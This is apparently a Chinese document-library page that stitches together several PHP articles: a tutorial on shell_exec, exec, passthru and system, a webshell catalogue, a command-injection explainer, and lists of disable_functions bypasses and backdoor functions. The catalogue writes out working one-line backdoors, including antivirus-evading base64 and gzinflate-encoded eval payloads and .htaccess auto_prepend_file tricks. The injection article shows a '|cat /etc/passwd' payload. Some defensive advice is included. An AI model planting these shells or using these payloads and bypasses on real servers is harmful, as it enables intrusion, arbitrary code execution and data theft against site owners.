PHP 命令行工具 shell_exec, exec, passthru, system

PHP 为执行外部命令提供大量函数,其中包括shell_exec()、exec()、passthru()和system()。

这些命令是相似的,但为您运行的外部程序提供不同的界面。

所有这些命令都衍生一个子进程,用于运行您指定的命令或脚本,并且每个子进程会在命令输出写到标准输出(stdout) 时捕捉它们。

shell_exec()shell_exec()命令行实际上仅是反撇号(`) 操作符的变体。

如果您编写过shell 或Perl 脚本,您就知道可以在反撇号操作符内部捕捉其他命令的输出。

例如,清单 1 显示了如何使用反撇号在当前目录中获取每个文本(.txt)的单词计数。

清单 1. 使用反撇号计算单词数量#! /bin/shnumber_of_words=`wc -w *.txt`echo $number_of_words#result would be something like:#165 readme.txt 388 results.txt 588 summary.txt#and so on....在您的PHP 脚本中,您可以在shell_exec()中运行这个简单的命令,如清单 2 所示,并获取想要的结果。

这里假设在同一个目录下有一些文本文件。

清单 2. 在shell_exec() 中运行相同的命令<?php$results = shell_exec('wc -w *.txt');echo $results;?>在图 1 中可以看到,获得的结果与从shell 脚本得到的一样。

这是因为shell_exec()允许您通过shell 运行外部程序,然后以字符串的形式返回结果。

图 1. 通过shell_exec()运行shell 命令的结果注意,仅使用后撇号操作符也会得到相同的结果,如下所示。

清单 3. 仅使用后撇号操作符<?php$results = `wc -w *.txt`;echo $results;?>清单 4 给出了一种更加简单的方法。

清单 4. 更加简单的方法<?phpecho `wc -w *.txt`;?>通过UNIX 命令行和shell 脚本能够完成很多东西,知道这点很重要。

例如,您可以使用竖线将命令连接起来。

您甚至可以使用操作符在其中创建shell 脚本,并且仅调用shell 脚本(根据需要使用或不使用参数)。

例如,如果您仅希望计算该目录下的前 5 个文本文件的单词数,那么可以使用竖线(|) 将wc和head命令连接起来。

另外,您还可以将输出结果放到pre标记内部,让它能够更美观地呈现在Web 浏览器中,如下所示。

清单 5. 更加复杂的shell 命令<?php$results = shell_exec('wc -w *.txt | head -5');echo "<code lang="php">".$results . "</code>";?>图 2 演示了运行清单5 的脚本得到的结果。

图 2. 从shell_exec() 运行更复杂的shell 命令得到的结果在本文的后面部分,您将学习如何使用PHP 为这些脚本传递参数。

现在您可以将它看作运行shell 命令的一种方法,但要记住您只能看到标准输出。

如果命令或脚本出现错误,您将看不到标准的错误(stderr),除非您通过竖线将它添加到stdout。

passthru()passthru()允许您运行外部程序,并在屏幕上显示结果。

您不需要使用echo或return来查看结果;它们会显示在浏览器上。

您可以添加可选的参数,即保存从外部程序返回的代码的变量,比如表示成功的0,这为调试提供更好的机制。

在清单 6 中,我使用passthru()命令运行在前面小节运行的单词计数脚本。

如您所见,我还添加一个包含返回代码的$returnval变量。

清单 6. 使用passthru()命令运行单词计数脚本<?phppassthru('wc -w *.txt | head -5',$returnval);echo "<hr/>".$returnval;?>注意,我不需要使用echo返回任何东西。

结果会直接显示在屏幕上,如下所示。

图 3. 使用return 代码运行passthru() 命令的结果在清单7 中,我通过删除脚本头部的5 前面的短横线(-) 引入一个小错误。

清单7. 在单词计数脚本中引入一个错误<?php//we introduce an error below (removing - from the head command)passthru('wc -w *.txt | head 5',$returnval);echo "<hr/>".$returnval;?>注意,脚本未能按照预期运行。

您得到的是一个空白的屏幕,一条水平线和返回值1,如图4 所示。

这个返回代码通常表明发生了某些错误。

如果能够测试返回代码,查找和修复错误就容易多了。

图 4. 使用passthru()时查看错误代码exec()exec()命令与shell_exec()相似,不同之处是它返回输出的最后一行,并且可选地用命令的完整输出和错误代码填充数组。

清单8 展示了当运行exec()而不捕捉数据数组中的数据时发生的事情。

清单8. 运行exec() 而不捕捉数据数组中的数据<?php$results = exec('wc -w *.txt | head -5');echo $results;#would print out just the last line or results, i.e.:#3847 myfile.txt?>为了捕捉数组中的结果,要将该数组的名称作为第二个参数添加到exec()。

我在清单9 中执行了这个步骤,并以$data作为数组的名称。

清单9. 从exec() 捕捉数据数组的结果<?php$results = exec('wc -w *.txt | head -5',$data);print_r($data);#would print out the data array:#Array ( [0]=> 555 text1.txt [1] => 283 text2.txt)?>在捕捉数组中的结果之后,您可以对每行进行一些处理。

例如,您可以在第一个空格处进行划分,将分离的值存储在数据库表中,或对每个行应用特定的格式或标记。

system()如清单10 所示,system()命令是一种混合体。

它像passthru()一样直接输出从外部程序接收到的任何东西。

它还像exec()一样返回最后一行,并使返回代码可用。

清单10. system() 命令<?phpsystem('wc -w *.txt | head -5');#would print out:#123 file1.txt 332 file2.txt 444 file3.txt#and so on?>一些例子现在您已经了解如何使用这些PHP 命令,但可能仍然有一些疑问。

例如,什么时候应该使用哪个命令?这完全由您的需求决定。

大多数情况下,我使用exec()命令和数据数组处理所有东西。

或者对更简单的命令使用shell_exec(),尤其是不关心结果时。

如果仅需返回一个shell 脚本,我就使用passthru()。

通常,我在不同的场合中使用不同的函数,并且有时它们是可以互换的。

这完全取决于我的心情和要实现的目的。

您可能提问的另一个问题是“它们的长处是什么?”。

如果您没有头绪,或者一个项目非常适合使用shell 命令,但不知道如何使用,那么我在这里提供一些见解。

如果您正在编写一个提供各种备份或文件传输功能的应用程序,您可以选择使用shell_exec()或这里提供的其他命令之一运行rsync支持的shell 脚本。

您可以编写shell 脚本使其包含必要的rsync命令,然后使用passthru()根据用户的命令或cron作业执行它。

例如,一位用户在您的应用程序中有适当的权限(比如管理员权限),他想将50 个PDF 文件从一个服务器发送到另一个服务器。

那么,该用户需要在应用程序中导航到正确的位置,单击T ransfer,选择需要发送的PDF,然后单击Submit。

在这个过程中,该表单应该有一个PHP 脚本,它使用返回选项变量通过passthru()运行rsync脚本,这样您就知道是否发生问题,如下所示。

清单11. 通过passthru() 运行rsync 脚本的示例PHP 脚本<?phppassthru('xfer_rsync.sh',$returnvalue);if ($returnvalue != 0){//we have a problem!//add error code here}else{//we are okay//redirect to some other page}?>如果您的应用程序需要列出进程或文件,或关于这些进程或文件的数据,您可以使用本文总结的命令之一轻松实现这个目的。

例如,一个简单的grep命令能够帮助您找到匹配特定搜索条件的文件。

将它与exec()命令一起使用可以将结果保存到一个数组中,这允许您构建一个HTML 表或表单,它们又进一步允许您运行其他命令。

到目前为止,我讨论了用户生成的事件——用户只要按下按钮或单击链接,PHP 就运行相应的脚本。

您还可以将独立的PHP 脚本和cron或其他日程安排程序一起使用,从而实现一些有趣的效果。

例如,如果您一个备份脚本,您可以通过cron运行它,或者将它打包到PHP 脚本后在运行。

为什么要这样做?这似乎是多余的,不是吗?不是这样的——您需要这样考虑,您可以通过exec()或passthru()运行备份脚本,然后根据返回代码执行一些行为。

如果出现错误,您可以将其记录到错误日志或数据库中,或发送一封警告电子邮件。

如果脚本成功,您可以将原始的输出转储到数据库(例如,rsync有一个详尽(verbose)模式,对随后诊断问题十分有用)。

安全我们在这里简要讨论一下安全性:如果您接受用户输入并将信息传递到shell,那么最好过滤用户输入。

删除您认为有害的命令和不允许的内容,比如sudo(作为超级用户运行)或rm (删除)。

合集下载

PHP调用Linux系统的常用函数

PHP调用Linux系统的常用函数

1、exec函数1、exec函数<?php$test = "ls /tmp/test"; //ls是linux下的查目录,文件的命令exec($test,$array); //执行命令print_r($array);?>2、system函数<?php$test = "ls /tmp/test";$last = system($test);print "last: $last ";?>3、passthru函数<?php$test = "ls /tmp/test";passthru($test);?>4、popen函数<?php$test = "ls /tmp/test";$fp = popen($test,"r"); //popen打一个进程通道while (!feof($fp)) { //从通道里面取得东西$out = fgets($fp, 4096);echo $out; //打印出来}pclose($fp);?>5、proc_open函数<?php$test = "ls /tmp/test";$arrayarray = array(array("pipe","r"), //标准输入array("pipe","w"), //标准输出内容array("pipe","w") //标准输出错误);$fp = proc_open($test,$array,$pipes); //打开一个进程通道echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容proc_close($fp);?>6、proc_open函数<?php$test = "ls /tmp/test";$arrayarray = array(array("pipe","r"), //标准输入array("pipe","w"), //标准输出内容array("pipe","w") //标准输出错误);$fp = proc_open($test,$array,$pipes); //打开一个进程通道echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容proc_close($fp);?>7、shell_exec函数<?php$test = "ls /tmp/test";$out = shell_exec($test);echo $out;?>本篇文章来源于黑基网-中国最大的网络安全站点原文链接:/tech/2011-03-10/62920.html。

PHP木马大全一句话的PHP木马的防范

PHP木马大全一句话的PHP木马的防范

PHP⽊马⼤全⼀句话的PHP⽊马的防范php后门⽊马常⽤的函数⼤致上可分为四种类型: 1. 执⾏系统命令: system, passthru, shell_exec, exec, popen, proc_open 2. 代码执⾏与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 3. ⽂件包含与⽣成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite 4. .htaccess: SetHandler, auto_prepend_file, auto_append_file 1. 执⾏系统命令: system 函数 //test.php?cmd=ls system($_GET[cmd]); passthru 函数 //test.php?cmd=ls passthru($_GET[cmd]); shell_exec 函数 //test.php?cmd=ls echo shell_exec($_GET[cmd]); exec 函数 //test.php?cmd=ls $arr = array(); exec($_GET[cmd],$arr); print_r($arr); popen 函数 //test.php?cmd=ls $handle = popen('$_GET[cmd], 'r'); $read = fread($handle, 2096); echo $read; pclose($handle); proc_open 函数 //test.php?cmd=ls $descriptorspec = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'), ); $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes); fclose($pipes[0]); $output = array(); while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n")); print_r($output); 2. 代码执⾏与加密: eval 函数 //最常见的⼀句话⽊马 eval($_POST[cmd]); base64_decode 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); gzinflate 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA=='))); gzuncompress 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='))); gzdecode 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA=='))); str_rot13 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST[cmd]); eval(str_rot13('riny($_CBFG[pzq]);')); assert 函数 //类似eval函数 assert($_POST[cmd]); call_user_func 函数 //使⽤call_user_func调⽤assert call_user_func('assert',$_POST[cmd]); call_user_func 函数 //使⽤call_user_func调⽤任意函数 //test.php?a=assert&cmd=phpinfo() call_user_func($_GET[a],$_REQUEST[cmd]); 组合代码 //组合⽅式调⽤任意函数 //test.php?a=assert&cmd=phpinfo() $_GET[a]($_REQUEST[cmd]); 3. ⽂件包含与⽣成: require 函数 //包含任意⽂件 //test.php?file=123.jpg require($_GET[file]); require_once 函数 //包含任意⽂件 //test.php?file=123.jpg require_once($_GET[file]); include 函数 //包含任意⽂件 //test.php?file=123.jpg include($_GET[file]); include_once 函数 //包含任意⽂件 //test.php?file=123.jpg include_once($_GET[file]); file_get_contents 函数 //读取任意⽂件 //test.php?f=config.inc.php echo file_get_contents($_GET['f']); file_put_contents 函数 //⽣成任意内容⽂件 //a=test.php&b= file_put_contents($_GET[a],$_GET[b]); fputs 函数 //⽣成任意内容⽂件 //a=test.php&b= fputs(fopen($_GET[a],"w"),$_GET[b]); 4. .htaccess: SetHandler //可将php代码存于⾮php后缀⽂件,例: x.jpg //将以下代码写⼊.htaccess中 //连接x.jpg即可启动后门⽊马出处 SetHandler application/x-httpd-php auto_prepend_file //可将php代码存于⾮php后缀⽂件,例: 123.gif //将以下代码写⼊.htaccess中, ⽂件路径必须是绝对路径 //访问⽹站上任何php⽂件都会启动该php后门⽊马 //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马 php_value auto_prepend_file c:/apache2/htdocs/123.gif auto_append_file //类似auto_prepend_file //可将php代码存于⾮php后缀⽂件,例: 123.gif //将以下代码写⼊.htaccess中, ⽂件路径必须是绝对路径 //访问⽹站上任何php⽂件都会启动该php后门⽊马 php_value auto_append_file c:/apache2/htdocs/123.gif防范⽅法:通过禁⽌危险函数 php.ini中设置disable_functions详情可以参考下https:///article/19292.htm。

PHP漏洞:命令注入攻击

PHP漏洞:命令注入攻击

PHP漏洞:命令注入攻击PHP漏洞:命令注入攻击计算机程序中都会有漏洞,那么在PHP中该怎么防止注入攻击呢?下面是店铺整理的解决办法,希望对大家有用,更多消息请关注应届毕业生网。

命令注入攻击,PHP中可以使用下列5个函数来执行外部的应用程序或函数system、exec、passthru、shell_exec、“(与shell_exec功能相同)函数原型stringsystem(stringcommand,int&return_var)command要执行的命令return_var存放执行命令的执行后的状态值stringexec(stringcommand,array&output,int&return_var)command要执行的命令output获得执行命令输出的每一行字符串return_var存放执行命令后的状态值voidpassthru(stringcommand,int&return_var)command要执行的命令return_var存放执行命令后的状态值stringshell_exec(stringcommand)command要执行的命令漏洞实例例1://ex1.php$dir=$_GET["dir"];if(isset($dir)){echo"system("ls-al".$dir);echo"";}>我们提交/ex1.php?dir=|cat/etc/passwd 提交以后,命令变成了system("ls-al|cat/etc/passwd");eval注入攻击eval函数将输入的字符串参数当作PHP程序代码来执行函数原型:mixedeval(stringcode_str)//eval注入一般发生在攻击者能控制输入的`字符串的时候//ex2.php$var="var";if(isset($_GET["arg"])){$arg=$_GET["arg"];eval("\$var=$arg;");echo"\$var=".$var;}>当我们提交/ex2.php?arg=phpinfo();漏洞就产生了;动态函数phpfuncA(){dosomething();funcB(){dosomething();}if(isset($_GET["func"])){$myfunc=$_GET["func"];echo$myfunc();}>程序员原意是想动态调用A和B函数,那我们提交/ex.php?func=phpinfo漏洞产生防范方法1、尽量不要执行外部命令2、使用自定义函数或函数库来替代外部命令的功能3、使用escapeshellarg函数来处理命令参数4、使用safe_mode_exec_dir指定可执行文件的路径esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“\’”,双引号“"”,替换成“\"”,分号“;”替换成“\;”用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内safe_mode=Onsafe_mode_exec_dir=/usr/local/php/bin/下载全文。

PHP执行命令函数

PHP执行命令函数

PHP执行命令函数PHP提供了多种执行命令的函数,以下是一些常用的函数以及它们的用法和注意事项:1. exec( 函数:exec(函数执行给定的命令,并将输出作为一个字符串返回。

用法示例:```$output = exec('ls');echo $output;```注意事项:-命令的结果会被作为一个整个字符串返回,所以不能直接通过该函数获取命令的输出流。

- 直接将用户输入作为参数传递给exec(函数是不安全的,可能导致命令注入漏洞,应该对用户输入进行过滤和验证。

2. shell_exec( 函数:shell_exec(函数执行给定的命令,并将输出作为一个字符串返回。

用法示例:```$output = shell_exec('ls');echo $output;```注意事项:- shell_exec(函数与exec(函数类似,但是会返回命令输出的完整结果,可以用于获取命令的输出流。

- 与exec(函数一样,不安全的用户输入应该进行过滤和验证。

3. system( 函数:system(函数执行给定的命令,并将输出直接打印到标准输出。

用法示例:```$output = system('ls');echo $output;```注意事项:- system(函数将命令的输出直接发送到标准输出,不会返回给调用者,所以不能通过该函数获取命令的输出流。

4. passthru( 函数:passthru(函数执行给定的命令,并将输出直接打印到标准输出。

用法示例:```passthru('ls');```注意事项:- passthru(函数与system(函数类似,但会直接将命令的输出打印到标准输出,而不是返回给调用者。

5. popen( 函数:popen(函数执行给定的命令,并返回一个文件指针,通过该文件指针可以读取命令的输出。

用法示例:```$handle = popen('ls', 'r');while (!feof($handle))echo fgets($handle);}pclose($handle);```注意事项:- popen(函数返回的文件指针可以被fread(、fgets(等文件读取函数使用。

php执行命令行命令

php执行命令行命令

php执⾏命令⾏命令PHP提供共了3个专门的执⾏外部命令的函数:system(),exec(),passthru()。

参考:区别:system() 输出并返回最后⼀⾏shell结果。

exec() 不输出结果,返回最后⼀⾏shell结果,所有结果可以保存到⼀个返回的数组⾥⾯。

passthru() 只调⽤命令,把命令的运⾏结果原样地直接输出到标准输出设备上。

相同点:都可以获得命令执⾏的状态码exec()原型:string exec (string command [, string array [, int return_var]])exec()执⾏外部命令失败,但没有任何错误信息。

参考:exec执⾏某命令在命令⾏下没有问题,但是在php中就出错。

这个问题99.99%与权限有关,但是exec执⾏的命令不会返回错误。

⼀个技巧就是使⽤管道命令,假设你的exec调⽤如下:1exec('convert a.jpg b.jpg', $output, $return_val);可以更改如下:1 2 3 4exec('convert a.jpg b.jpg 2>&1', $output, $return_val); print_r($output);使⽤ 2>&1,命令就会输出shell执⾏时的错误到$output变量,输出该变量即可分析。

备注:exec有3个参数,第⼀个是要执⾏的命令,第⼆个是参数是⼀个数组,数组的值是由第⼀个命令执⾏后⽣成的,第三个参数执⾏的状态,0表⽰成功,其他都表⽰失败。

passthru()原型:void passthru (string command [, int return_var])system()原型:string system (string command [, int return_var])。

php执行命令的函数

php执行命令的函数

PHP执行命令的函数在PHP中,有一些特定的函数可以用来执行系统命令。

这些函数可以让我们在PHP 脚本中执行外部命令,并获取其输出结果。

这些函数主要有以下几个:1.exec()函数2.shell_exec()函数3.system()函数4.passthru()函数5.proc_open()函数下面将对每个函数进行详细解释,包括函数的定义、用途和工作方式等。

1. exec()函数定义:exec()函数用于执行一个外部命令,并将结果输出到一个数组中。

用途:exec()函数通常用于执行一些简单的命令,并获取其输出结果。

它可以将命令的输出结果存储到一个数组中,以便后续处理。

工作方式:exec()函数的工作方式如下: - 接收一个命令作为参数,并执行该命令。

- 将命令的输出结果存储到一个数组中。

- 返回命令的执行状态码。

示例代码:$command = 'ls -l';exec($command, $output, $status);在上面的示例中,$command是要执行的命令,$output是一个数组,用于存储命令的输出结果,$status是命令的执行状态码。

2. shell_exec()函数定义:shell_exec()函数用于执行一个外部命令,并将结果作为字符串返回。

用途:shell_exec()函数通常用于执行一些简单的命令,并获取其输出结果。

它可以将命令的输出结果作为一个字符串返回,以便后续处理。

工作方式:shell_exec()函数的工作方式如下: - 接收一个命令作为参数,并执行该命令。

- 将命令的输出结果作为一个字符串返回。

示例代码:$command = 'ls -l';$output = shell_exec($command);在上面的示例中,$command是要执行的命令,$output是命令的输出结果。

3. system()函数定义:system()函数用于执行一个外部命令,并将结果直接输出到屏幕。

phpbypassdisable_function命令执行方法汇总简述

phpbypassdisable_function命令执⾏⽅法汇总简述1.使⽤未被禁⽤的其他函数exec,shell_exec,system,popen,proc_open,passthru (python_eval?perl_system ? weevely3 wiki中存在这两个函数)要求:看看哪个函数没在禁⽤列表⾥的2.pcntl_exec使⽤pcntl_exec函数可命令执⾏要求:linux系统特有模块,需编译选项中存在--enable-pcntl3.windows com组件绕过通过⽣成的com对象调⽤wscript.shell或shell.application以执⾏命令要求:windows系统,com_dotnet模块开启4.使⽤ld_preload劫持环境变量利⽤ld_preload劫持动态链接库的优先加载路径,通过会调⽤系统程序的php函数,来触发对我们伪造的标准库函数的调⽤,从⽽执⾏恶意代码要求:linux系统,putenv函数未被禁⽤,可以上传so⽂件5.php7.4+ ffi特性php7.4加⼊的新特性,利⽤ffi可以执⾏c代码要求:php版本7.4+,ffi模块开启,ffi.enable 状态为enable(这个有三个状态,⼀定要是enable才可以)6.构造数据包直接与php-fpm模块通信跳过中间件分配请求的过程,直接构造特定的数据包与php-fpm模块通信要求:⽬标使⽤了php-fpm模块,php-fpm的进程端⼝暴露在外⽹(⼀般为9000端⼝),知道⼀个php脚本的绝对路径和名称7.通过.htaccess使其他后缀⽂件被mod_cig模块处理主要思路和6思路差不多要求:使⽤mod_cig模块,可以上传⽂件,.htaccess模块被开启(蚁剑有个bypass disable function的模块存在此⽅法)8.imap_open()cve-2018-19518,通过构造exp,在调⽤rsh的时候插⼊可执⾏命令的-oProxyCommand参数执⾏系统命令要求:开启了imap扩展,enable_insecure_rsh选项打开,imap_open未被禁⽤,漏洞未被修复9.破壳漏洞cve-2014-6271要求:php<5.6.2,linux系统10.imagemagick组件命令执⾏利⽤的是imagemagic本⾝的命令执⾏漏洞,有2个,利⽤的exp也不相同要求:开启了imagemagic模块且漏洞未被修复11.其他还有⼀些其他的⽅法,要结合具体情况使⽤,例如现权限是否可以读取宝塔的session.db,redis的利⽤等等,这个需要平时对漏洞的积累。

PHP常见代码执行后门函数

PHP常见代码执行后门函数以下是一些常见的PHP代码执行后门函数:1. eval函数:eval函数允许将字符串作为PHP代码进行解析和执行。

这使得攻击者可以动态地执行任意的PHP代码,从而执行恶意操作。

```phpeval($_GET['code']);```2. system函数:system函数用于执行系统命令,攻击者可以通过system函数执行任意的系统命令。

```phpsystem($_GET['cmd']);```3. shell_exec函数:shell_exec函数用于执行系统命令,并将执行结果作为字符串返回给调用者。

攻击者可以通过shell_exec函数执行任意的系统命令。

```php$output = shell_exec($_GET['cmd']);```4. passthru函数:passthru函数用于执行系统命令,并将命令的输出直接输出到浏览器。

攻击者可以通过passthru函数执行任意的系统命令。

```phppassthru($_GET['cmd']);```5. exec函数:exec函数用于执行系统命令,并将命令的输出作为数组返回给调用者。

攻击者可以通过exec函数执行任意的系统命令。

```php$output = [];exec($_GET['cmd'], $output);```6. popen函数:popen函数用于执行系统命令,并将命令的输出以流的形式返回给调用者。

攻击者可以通过popen函数执行任意的系统命令。

```php$handle = popen($_GET['cmd'], 'r');while (!feof($handle))$output .= fread($handle, 4096);pclose($handle);```7. passthru函数的变体:攻击者可以通过添加特殊字符绕过禁止执行shell命令的安全策略。

PHP调用的C代码

PHP调用的C代码
PHP调用的C代码
用php调用C函数,常通过调用系统命令函数的方式来实现,其中主要有system()和exec()两种,还有一种是passthru(),以下是店铺为大家搜索整理的PHP调用的C代码,希望能给大家带来帮助!更多精彩内容请持续关注我们店铺!
system()方法输出并返回最后一行的shell结果。

exec()不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的.数组里面。

相同点是都可以获取命令执行的状态码。

PHP调用C函数方法为:
如果C函数为一个简单的hello world,文件名称为hello.c。

#include
main()
{
printf("hello world!");
}
注意:如果多行输出要用"
"不要"\n"
首先gcc编译成 gcc hello.c -o hello
然后再php函数中写一个函数:
$r = exec("./hello");
echo $r;
>
如果是exec,如果在浏览器中执行结果的话,会出现1个hello world(echo $r产生),如果用system来调用的话,则会出现两个hello world!(./hello和echo $r产生)。

当然还可以通过php扩展的方式来实现php调用c函数!。

PHP中常见的几种运行代码的方式

PHP中常见的⼏种运⾏代码的⽅式常见的运⾏程序的⽅法有shell_exec``(反引号)evalsystemexecpassthru下⾯分别介绍他们的⽤法:名称解释返回值注意shell_exec 通过 shell 环境执⾏命令,并且将完整的输出以字符串的⽅式返回。

与执⾏操作符(也叫执⾏运算符)相同命令执⾏的输出。

如果执⾏过程中发⽣错误或者进程不产⽣输出,则返回NULL。

``(反引号)PHP 将尝试将反引号中的内容作为 shell 命令来执⾏,并将其输出信息返回(即,可以赋给⼀个变量⽽不是简单地丢弃到标准输出)。

使⽤反引号运算符(`)的效果与函数 shell_exec() 相同。

反引号运算符在激活了安全模式或者关闭了shell_exec()时是⽆效的。

与其它某些语⾔不同,反引号不能在双引号字符串中使⽤。

eval把字符串作为PHP代码执⾏。

eval() 返回 NULL,除⾮在执⾏的代码中return 了⼀个值,函数返回传递给 return的值。

PHP 7 开始,执⾏的代码⾥如果有⼀个 parseerror,eval() 会抛出ParseError 异常。

在PHP 7 之前,如果在执⾏的代码中有parse error,eval() 返回 FALSE,之后的代码将正常执⾏。

⽆法使⽤set_error_handler()捕获 eval() 中的解析错误。

函数eval()语⾔结构是⾮常危险的,因为它允许执⾏任意PHP 代码。

它这样⽤是很危险的。

如果您仔细的确认过,除了使⽤此结构以外别⽆⽅法, 请多加注意,不要允许传⼊任何由⽤户提供的、未经完整验证过的数据。

system执⾏外部程序,并且显⽰输出。

成功则返回命令输出的最后⼀⾏,失败则返回 FALSE。

exec执⾏⼀个外部程序。

命令执⾏结果的最后⼀⾏内容。

如果你需要获取未经处理的全部输出数据,请使⽤passthru() 函数。

passthru 执⾏外部程序并且显⽰原始输出。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
相关文档
最新文档